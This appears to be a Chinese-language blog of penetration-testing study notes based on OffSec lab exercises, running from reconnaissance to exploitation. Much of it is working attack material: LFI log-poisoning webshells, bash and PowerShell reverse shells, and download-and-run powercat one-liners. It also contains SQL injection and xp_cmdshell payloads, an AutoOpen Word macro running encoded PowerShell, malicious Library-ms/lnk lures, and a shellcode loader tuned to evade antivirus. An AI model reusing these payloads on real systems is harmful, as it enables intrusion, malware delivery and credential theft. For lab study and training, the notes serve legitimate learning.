HackTheHost

2023-03-26 boring

Fl*sy

6.2 被动信息收集

6.2.1 whois枚举

查域名(-h后面是whois服务器)

whois megacorpone.com -h 192.168.50.251

查IP

whois 38.100.193.70 -h 192.168.50.251

6.2.2 谷歌黑客

查域名

site:megacorpone.com

查看制定文件类型

site:megacorpone.com filetype:txt

排除文件类型

site:megacorpone.com -filetype:html

查找目录遍历

intitle:"index of" "parent directory"

更多参考

https://www.exploit-db.com/google-hacking-database 
https://dorksearch.com/ 

Netcraft

地址

searchdns.netcraft.com

开源代码

网站

https://github.com/
https://gist.github.com/
https://about.gitlab.com/
https://sourceforge.net/

搜索制定文件

owner:megacorpone path:users

使用工具

https://github.com/michenriksen/gitrob
https://github.com/zricethezav/gitleaks

命令

gitleaks-linux-arm64 -v -r=https://github.com/xxx/xxx

Shodan

搜索host

hostname:megacorpone.com

增加端口信息

hostname:megacorpone.com port:"22"

Security Headers and SSL/TLS

网站

https://securityheaders.com/
https://www.ssllabs.com/ssltest/

6.3 主动信息收集

6.3.1 DNS枚举

DNS记录类型

    NS: Nameserver records contain the name of the authoritative servers hosting the DNS records for a domain.
    A: Also known as a host record, the "a record" contains the IPv4 address of a hostname (such as www.megacorpone.com).
    AAAA: Also known as a quad A host record, the "aaaa record" contains the IPv6 address of a hostname (such as www.megacorpone.com).
    MX: Mail Exchange records contain the names of the servers responsible for handling email for the domain. A domain can contain multiple MX records.
    PTR: Pointer Records are used in reverse lookup zones and can find the records associated with an IP address.
    CNAME: Canonical Name Records are used to create aliases for other host records.
    TXT: Text records can contain any arbitrary data and be used for various purposes, such as domain ownership verification.

查域名ip

host www.megacorpone.com

查邮件服务器等其他记录类型

host -t mx megacorpone.com
host -t txt megacorpone.com

批量枚举域名对应ip

for ip in $(cat list.txt); do host $ip.megacorpone.com; done

批量枚举ip对应域名

for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found"

使用工具自动枚举

dnsrecon -d megacorpone.com -t std
dnsrecon -d megacorpone.com -D ~/list.txt -t brt
dnsenum megacorpone.com

A记录枚举

nslookup mail.megacorptwo.com

指定DNS服务器枚举

nslookup -type=TXT info.megacorptwo.com 192.168.50.151

端口扫描

-w 超时时间
-z zero-I/O mode(无数据)

TCP

nc -nvv -w 1 -z 192.168.50.152 3388-3390

UDP

nc -nv -u -z -w 1 192.168.50.149 120-123

NMAP端口扫描

普通扫描

nmap 192.168.50.149

全端口扫描

nmap -p 1-65535 192.168.50.149

SYN扫描

sudo nmap -sS 192.168.50.149

TCP连接扫描

nmap -sT 192.168.50.149

UDP扫描

sudo nmap -sU 192.168.50.149

UDP+SYN扫描

sudo nmap -sU -sS 192.168.50.149

存活主机枚举

nmap -sn 192.168.50.1-253

nmap -v -sn 192.168.50.1-253 -oG ping-sweep.txt
grep Up ping-sweep.txt | cut -d " " -f 2

指定端口及服务枚举

nmap -p 80 192.168.50.1-253 -oG web-sweep.txt
grep open web-sweep.txt | cut -d" " -f2

Top 20端口扫描

nmap -sT -A --top-ports=20 192.168.50.1-253 -oG top-port-sweep.txt

操作系统指纹

sudo nmap -O 192.168.50.14 --osscan-guess

服务枚举

nmap -sT -A 192.168.50.14

nmap脚本扫描

nmap --script http-headers 192.168.50.6

powershell端口扫描

Test-NetConnection -Port 445 192.168.50.151
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.50.151", $_)) "TCP port $_ is open"} 2>$null

SMB枚举

nmap端口扫描(139、445)

nmap -v -p 139,445 -oG smb.txt 192.168.50.1-254

udp 137端口枚举(-r参数)

sudo nbtscan -r 192.168.50.0/24

nmap脚本相关

ls -1 /usr/share/nmap/scripts/smb*
nmap -v -p 139,445 --script smb-os-discovery 192.168.50.152

查看SMB共享

net view \\dc01 /all

SMTP枚举

枚举主机用户

nc -nv 192.168.50.8 25
VRFY root
VRFY idontexist

自动脚本

#!/usr/bin/python

import socket
import sys

if len(sys.argv) != 3:
        print("Usage: vrfy.py <username> <target_ip>")
        sys.exit(0)

# Create a Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to the Server
ip = sys.argv[2]
connect = s.connect((ip,25))

# Receive the banner
banner = s.recv(1024)

print(banner)

# VRFY a user
user = (sys.argv[1]).encode()
s.send(b'VRFY ' + user + b'\r\n')
result = s.recv(1024)

print(result)

# Close the socket
s.close()

使用

python3 smtp.py root 192.168.50.8

powershell枚举

Test-NetConnection -Port 25 192.168.50.8
telnet 192.168.50.8 25
VRFY root

SNMP枚举

windows snmp

1.3.6.1.2.1.25.1.6.0 	System Processes
1.3.6.1.2.1.25.4.2.1.2 	Running Programs
1.3.6.1.2.1.25.4.2.1.4 	Processes Path
1.3.6.1.2.1.25.2.3.1.4 	Storage Units
1.3.6.1.2.1.25.6.3.1.2 	Software Name
1.3.6.1.4.1.77.1.2.25 	User Accounts
1.3.6.1.2.1.6.13.1.3 	TCP Local Ports

nmap扫描udp的161端口

sudo nmap -sU --open -p 161 192.168.50.1-254 -oG open-snmp.txt
echo public > community
echo private >> community
echo manager >> community
for ip in $(seq 1 254); do echo 192.168.50.$ip; done > ips
onesixtyone -c community -i ips

自动化工具

snmpwalk -c public -v1 -t 10 192.168.50.151

枚举windows用户

snmpwalk -c public -v1 192.168.50.151 1.3.6.1.4.1.77.1.2.25

枚举windows进程

snmpwalk -c public -v1 192.168.50.151 1.3.6.1.2.1.25.4.2.1.2

枚举安装软件

snmpwalk -c public -v1 192.168.50.151 1.3.6.1.2.1.25.6.3.1.2

枚举开放端口

snmpwalk -c public -v1 192.168.50.151 1.3.6.1.2.1.6.13.1.3

7.3 Nmap漏洞扫描

7.3.1 NSE插件

查看nmap漏扫插件

cd /usr/share/nmap/scripts/
cat script.db  | grep "\"vuln\""

使用脚本

sudo nmap -sV -p 443 --script "vuln" 192.168.50.124

7.3.2 NSE插件编写

google搜索

CVE-2021-41773 nse

新增脚本

sudo cp /home/kali/Downloads/http-vuln-cve-2021-41773.nse /usr/share/nmap/scripts/http-vuln-cve2021-41773.nse
sudo nmap --script-updatedb

使用新脚本

sudo nmap -sV -p 443 --script "http-vuln-cve2021-41773" 192.168.50.124

8.2 Web分析工具

8.2.1 web服务指纹

nmap扫描web服务

sudo nmap -p80  -sV 192.168.50.20

http枚举

sudo nmap -p80 --script=http-enum 192.168.50.20

8.2.2 Wappalyzer

网站

https://www.wappalyzer.com/

8.2.3 目录枚举

gobuster dir -u 192.168.50.20 -w /usr/share/wordlists/dirb/common.txt -t 5

8.2.4 Burp

图形界面操作

8.3 Web应用枚举

8.3.2 http头和sitemaps枚举

curl https://www.google.com/robots.txt

8.3.3 API枚举

gobuster dir -u http://192.168.50.16:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern

curl -i http://192.168.50.16:5002/users/v1

gobuster dir -u http://192.168.50.16:5002/users/v1/admin/ -w /usr/share/wordlists/dirb/small.txt
curl -i http://192.168.50.16:5002/users/v1/admin/password
可能返回错误,一般需要post或者put,前提是要先登录成功
curl -i http://192.168.50.16:5002/users/v1/login
提示用户错误,尝试admin用户
curl -d '{"password":"fake","username":"admin"}' -H 'Content-Type: application/json'  http://192.168.50.16:5002/users/v1/login
提示密码不对,注册新用户
curl -d '{"password":"lab","username":"offsecadmin"}' -H 'Content-Type: application/json'  http://192.168.50.16:5002/users/v1/register
提示需要email,增加email参数再注册
curl -d '{"password":"lab","username":"offsec","email":"pwn@offsec.com","admin":"True"}' -H 'Content-Type: application/json' http://192.168.50.16:5002/users/v1/register
注册成功,登录
curl -d '{"password":"lab","username":"offsec"}' -H 'Content-Type: application/json'  http://192.168.50.16:5002/users/v1/login
登录成功,获得token后,尝试修改admin密码
curl  \
  'http://192.168.50.16:5002/users/v1/admin/password' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: OAuth eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzEyMDEsImlhdCI6MTY0OTI3MDkwMSwic3ViIjoib2Zmc2VjIn0.MYbSaiBkYpUGOTH-tw6ltzW0jNABCDACR3_FdYLRkew' \
  -d '{"password": "pwned"}'
方法不允许,尝试put
curl -X 'PUT' \
  'http://192.168.50.16:5002/users/v1/admin/password' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: OAuth eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzE3OTQsImlhdCI6MTY0OTI3MTQ5NCwic3ViIjoib2Zmc2VjIn0.OeZH1rEcrZ5F0QqLb8IHbJI7f9KaRAkrywoaRUAsgA4' \
  -d '{"password": "pwned"}'
修改成功,登录admin
curl -d '{"password":"pwned","username":"admin"}' -H 'Content-Type: application/json'  http://192.168.50.16:5002/users/v1/login

9.1 目录穿越

9.1.2 目录穿越利用

http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa
curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa

ssh -i dt_key -p 2222 offsec@mountaindesserts.com
提示权限不对
chmod 400 dt_key
ssh -i dt_key -p 2222 offsec@mountaindesserts.com

9.1.3 编码

url编码

curl http://192.168.50.16/cgi-bin/../../../../etc/passwd
不成功,可以尝试url编码

curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

9.2 文件包含

9.2.1 本地文件包含

curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/apache2/access.log

User Agent加入webshell

<?php echo system($_GET['cmd']); ?>

文件会写入

../../../../../../../../../var/log/apache2/access.log
curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=ls%20-la

反弹shell

bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"

URL编码

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22

9.2.2 PHP包装器

文件读取

curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=admin.php

base64解码

echo "PCFET0NUWVBFIGh……" | base64 -d

命令执行

curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"

base64编码

echo -n '<?php echo system($_GET["cmd"]);?>' | base64

curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"

9.2.3 远程文件包含

/usr/share/webshells/php/simple-backdoor.php
python3 -m http.server 80
curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.119.3/simple-backdoor.php&cmd=ls"

9.3 文件上传

9.3.1 可执行文件

文件后缀

.phps
.php7
.php
.phtml
.pHP

修改后缀上传

/usr/share/webshells/php/simple-backdoor.pHP

windows下base64编码后命令执行

pwsh
$Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.119.3",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText

编码后使用webshell执行

curl http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=powershell%20-enc%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0
...
AYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

9.3.2 不可执行文件

post上传,文件名目录穿越

../../../../../../../test.txt

生成ssh秘钥

ssh-keygen
fileup
cat fileup.pub > authorized_keys

文件名改为

../../../../../../../root/.ssh/authorized_keys

上传后,ssh连接

rm ~/.ssh/known_hosts
ssh -p 2222 -i fileup root@mountaindesserts.com

注意:fileup文件权限,600或者400

9.4 命令执行

9.4.1 命令注入

参数注入命令

curl -X POST --data 'Archive=ipconfig' http://192.168.50.189:8000/archive

提示不可执行,尝试正常命令git

curl -X POST --data 'Archive=git' http://192.168.50.189:8000/archive
curl -X POST --data 'Archive=git version' http://192.168.50.189:8000/archive

执行成功,使用%3B拼接命令

curl -X POST --data 'Archive=git%3Bipconfig' http://192.168.50.189:8000/archive

判断当前shell是cmd还是powershell

(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell

url编码后

curl -X POST --data 'Archive=git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20PowerShell' http://192.168.50.189:8000/archive

输出是PowerShell

执行成功,使用powercat获得反弹shell

cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
python3 -m http.server 80
nc -nvlp 4444

powershell执行

IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.ps1");powercat -c 192.168.119.3 -p 4444 -e powershell 

url编码

curl -X POST --data 'Archive=git%3BIEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.119.3%2Fpowercat.ps1%22)%3Bpowercat%20-c%20192.168.119.3%20-p%204444%20-e%20powershell' http://192.168.50.189:8000/archive

10.1 SQl及数据库基础

10.1.2 数据库基础

mysql登录数据库

mysql -u root -p'root' -h 192.168.50.16 -P 3306

查看数据库版本

select version();

查看系统用户

select system_user();

查看数据库名

show databases;

查看具体表中数据

SELECT user, authentication_string FROM mysql.user WHERE user = 'offsec';

mssql登录

impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth

查看版本

SELECT @@version;

查看数据库名

SELECT name FROM sys.databases;

查看表名

SELECT * FROM offsec.information_schema.tables;

查看具体表内容

select * from offsec.dbo.users;

10.2 SQl注入

10.2.1 基于报错的sql注入

例子

<?php
$uname = $_POST['uname'];
$passwd =$_POST['password'];

$sql_query = "SELECT * FROM users WHERE user_name= '$uname' AND password='$passwd'";
$result = mysqli_query($con, $sql_query);
?>

用户名输入

offsec' OR 1=1 -- //

执行的sql语句是

SELECT * FROM users WHERE user_name= 'offsec' OR 1=1 --

可以绕过密码登录成功

一般先用单引号测试

offsec'

有报错信息可以尝试注入,获得数据库版本

' or 1=1 in (select @@version) -- //

查询表中数据

' OR 1=1 in (SELECT * FROM users) -- //

如果报错尝试查单列

' or 1=1 in (SELECT password FROM users) -- //

查执行用户

' or 1=1 in (SELECT password FROM users WHERE username = 'admin') -- //

10.2.2 基于联合查询的SQL注入

例如

$query = "SELECT * from customers WHERE name LIKE '".$_POST["search_input"]."%'";

输入

' ORDER BY 1-- //

提示报错或者出现列数,比如6

%' UNION SELECT database(), user(), @@version, null, null -- //

联合查询会执行后面的查询依据,但是数据类型需要与原来字段一致,否则现实不出来,如果不一致可以改变位置

' UNION SELECT null, null, database(), user(), @@version  -- //
' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //
' UNION SELECT null, username, password, description, null FROM users -- //

查表明、字段名、查数据均可

10.2.3 盲注

不报错也没有回显,可以基于时间盲注

http://192.168.50.16/blindsqli.php?user=offsec' AND 1=1 -- //

返回真,再用sleep函数做判断

http://192.168.50.16/blindsqli.php?user=offsec' AND IF (1=1, sleep(3),'false') -- //

10.3 自动执行代码

10.3.1 代码执行

mssql执行命令

impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

EXECUTE xp_cmdshell 'whoami';

联合查询webshell写入

' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //

php webshell

<? system($_REQUEST['cmd']); ?>

10.3.2 自动化

sqlmap(-p 参数)

判断注入

sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user

读取数据

sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump

抓包注入

sqlmap -r post.txt -p item  --os-shell  --web-root "/var/www/html/tmp"

11.1 客户端攻击目标枚举

11.1.1 信息收集

site:example.com filetype:pdf

gobuster使用-x参数指定文件后缀,下载文件,查看文件信息

exiftool -a -u brochure.pdf

注意作者、程序版本等

11.1.2 客户端指纹

网站

https://canarytokens.com/

11.2 office攻击

11.2.3 word宏横向

文件后缀

.doc
.docm

使用宏执行powershell

IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.2/powercat.ps1');powercat -c 192.168.119.2 -p 4444 -e powershell
$Text = "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.2/powercat.ps1');powercat -c 192.168.119.2 -p 4444 -e powershell"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText

加入到宏当中时需要50字符一行

str = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwA..."

n = 50

for i in range(0, len(str), n):
	print("Str = Str + " + '"' + str[i:i+n] + '"')

完整宏

Sub AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim Str As String
  
    Str = Str + "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGU"
        Str = Str + "AdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAd"
        Str = Str + "AAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwB"
    ...
        Str = Str + "QBjACAAMQA5ADIALgAxADYAOAAuADEAMQA4AC4AMgAgAC0AcAA"
        Str = Str + "gADQANAA0ADQAIAAtAGUAIABwAG8AdwBlAHIAcwBoAGUAbABsA"
        Str = Str + "A== "

    CreateObject("Wscript.Shell").Run Str
End Sub

11.3 滥用Windows库文件

11.3.1 利用

涉及文件

.Library-ms
.lnk

安装webdav

pip3 install wsgidav

启动webdav

mkdir /home/kali/webdav
touch /home/kali/webdav/test.txt
/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/

创建config.Library-ms文件

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.119.2</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>

url填写webdav地址

创建automatic_configuration.lnk文件

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.3:8000/powercat.ps1');
powercat -c 192.168.119.3 -p 4444 -e powershell"

两个文件都放在webdav里面,然后把config.Library-ms发给用户,可以邮件可以smb

cd webdav
rm test.txt
smbclient //192.168.50.195/share -c 'put config.Library-ms'

12.2 在线exp库

网站

https://www.exploit-db.com/
https://packetstormsecurity.com/
https://github.com/
firefox --search "Microsoft Edge site:exploit-db.com"

12.3 离线exp库

12.3.1 MSF

12.3.2 SearchSploit

升级库

sudo apt update && sudo apt install exploitdb

查看exp库文件

ls -1 /usr/share/exploitdb/
ls -1 /usr/share/exploitdb/exploits

搜索制定漏洞exp

searchsploit remote smb microsoft windows

拷贝到当前目录

searchsploit -m windows/remote/48537.py
searchsploit -m 42031

12.3.3 NSE脚本插件

grep Exploits /usr/share/nmap/scripts/*.nse

nmap --script-help=clamav-exec.nse

12.4 漏洞利用

12.4.1 漏洞利用

发现web应用程序

<div class="copyright">
	 <a href="http://qdpm.net" target="_blank">qdPM 9.1</a> <br /> Copyright &copy; 2022 <a href="http://qdpm.net" target="_blank">qdpm.net</a>
</div>

exploit-db上搜索“qdPM 9.1”

searchsploit -m 50944
python3 50944.py -url http://192.168.50.11/project/ -u george@AIDevCorp.org -p AIDevCorp
curl http://192.168.50.11/project/uploads/users/420919-backdoor.php?cmd=whoami
curl http://192.168.50.11/project/uploads/users/420919-backdoor.php --data-urlencode "cmd=which nc"
nc -lvnp 6666
curl http://192.168.50.11/project/uploads/users/420919-backdoor.php --data-urlencode "cmd=nc -nv 192.168.50.129 6666 -e /bin/bash"

13.1 修改内存损坏型exp

searchsploit "Sync Breeze Enterprise 10.0.28"
searchsploit -m 42341

跨平台编译

sudo apt install mingw-w64
i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe

报错,需要加入库文件

i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32

需要注意的exp常见修改位置

缓冲区大小
jmpesp地址
目标IP和端口
shellcode
shellcode前面加nop

msf生成shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.4 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"

修改后重新编译

i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32

wine执行

sudo wine syncbreeze_exploit.exe

13.2 修改Web应用exp

常见修改位置

http变为https
ssl校验
账号密码
文件名
webshell
http头中的字段,如csrf_param = "_sk_"
...
    response  = requests.post(url, data=data, allow_redirects=False)
...
    response = requests.post(url, data=data, files=txt, cookies=cookies)
...
    response = requests.post(url, data=data, cookies=cookies, allow_redirects=False)
...

取消ssl校验

...
    response  = requests.post(url, data=data, allow_redirects=False, verify=False)
...
    response = requests.post(url, data=data, files=txt, cookies=cookies, verify=False)
...
    response = requests.post(url, data=data, cookies=cookies, allow_redirects=False, verify=False)
...

14.1 杀毒软件关键技术

14.1.3 检测方法

查看二进制特征码

xxd -b malware.txt

查看文件hash

sha256sum malware.txt

更改文件二进制后hash会变化

msf生成payload

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.1 LPORT=443 -f exe > binary.exe

原始生成基本不免杀

14.3 免杀实践

14.3.2 线程注入免杀

msf生成powershell类型shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.1 LPORT=443 -f powershell -v sc

组装ps1文件

$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;

[Byte[]];
[Byte[]] $sc = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x5,0x68,0xc0,0xa8,0x32,0x1,0x68,0x2,0x0,0x1,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xc,0xff,0x4e,0x8,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x68,0x63,0x6d,0x64,0x0,0x89,0xe3,0x57,0x57,0x57,0x31,0xf6,0x6a,0x12,0x59,0x56,0xe2,0xfd,0x66,0xc7,0x44,0x24,0x3c,0x1,0x1,0x8d,0x44,0x24,0x10,0xc6,0x0,0x44,0x54,0x50,0x56,0x56,0x56,0x46,0x56,0x4e,0x56,0x56,0x53,0x56,0x68,0x79,0xcc,0x3f,0x86,0xff,0xd5,0x89,0xe0,0x4e,0x56,0x46,0xff,0x30,0x68,0x8,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x53,0xff,0xd5;

$size = 0x1000;

if ($sc.Length -gt 0x1000) {$size = $sc.Length};

$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);

for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};

$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };

有一定免杀效果,但还不够好,进一步更改变量名

$winFunc   --   $var2
Win32      --   iWin32
$sc        --   $var1

保存成bypass.ps1,可以过掉一部分EDR

在windows上运行还需要关闭执行策略的防护

查看执行策略

Get-ExecutionPolicy -Scope CurrentUser

Undefined

修改

Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser

选A

再次查看

Get-ExecutionPolicy -Scope CurrentUser

Unrestricted

执行bypass.ps1获得shell

PS C:\Users\offsec\Desktop> .\bypass.ps1

14.3.3 自动化工具

安装

apt-cache search shellter
sudo apt install shellter
sudo apt install wine
dpkg --add-architecture i386 && apt-get update && apt-get install wine32

运行

shellter 
A   -- 自动化插入
输入一个要插入的PE文件
Y   -- 进入shellter模式
L   -- 选择列表里的payload
1   -- 第一个反弹shell
输入lhost和lport
生成

msf本地监听,运行生成的PE文件获得shell

msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST 192.168.50.1;set LPORT 443;run;"

15.1 网络服务密码爆破

15.1.1 SSH和RDP

ssh密码爆破

hydra -l george -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.50.201

rdp密码喷洒

hydra -L /usr/share/wordlists/dirb/others/names.txt -p "SuperS3cure1337#" rdp://192.168.50.202

15.1.2 HTTP页面POST爆破

hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.50.201 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"

15.2 密码破解基础

15.2.2 字典变异

去少量字典演示

head /usr/share/wordlists/rockyou.txt > demo.txt

去掉1开头的行

sed -i '/^1/d' demo.txt

创建规则文件(末尾加1)

echo \$1 > demo.rule

hashcat查看规则后的字典

hashcat -r demo.rule --stdout demo.txt

比较两个不同规则文件

kali@kali:~/passwordattacks$ cat demo1.rule   
$1 c
     
kali@kali:~/passwordattacks$ hashcat -r demo1.rule --stdout demo.txt
Password1
Iloveyou1
Princess1
Rockyou1
Abc1231

kali@kali:~/passwordattacks$ cat demo2.rule   
$1
c

kali@kali:~/passwordattacks$ hashcat -r demo2.rule --stdout demo.txt
password1
Password
iloveyou1
Iloveyou
princess1
Princess
kali@kali:~/passwordattacks$ cat demo1.rule   
$1 c $!

kali@kali:~/passwordattacks$ hashcat -r demo1.rule --stdout demo.txt
Password1!
Iloveyou1!
Princess1!
Rockyou1!
Abc1231!

kali@kali:~/passwordattacks$ cat demo2.rule   
$! $1 c

kali@kali:~/passwordattacks$ hashcat -r demo2.rule --stdout demo.txt
Password!1
Iloveyou!1
Princess!1
Rockyou!1
Abc123!1

演示破解hash

kali@kali:~/passwordattacks$ cat crackme.txt   
f621b6c9eab51a3e2f4e167fee4c6860

kali@kali:~/passwordattacks$ cat demo3.rule   
$1 c $!
$2 c $!
$1 $2 $3 c $!

破解

hashcat -m 0 crackme.txt /usr/share/wordlists/rockyou.txt -r demo3.rule --force

查看默认规则

ls -la /usr/share/hashcat/rules/

15.2.4 密码管理软件

keepass的存储文件是.kdbx后缀

Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

提取hash

keepass2john Database.kdbx > keepass.hash

删除hash中开头的

Database:

删除后是这样的

kali@kali:~/passwordattacks$ cat keepass.hash   
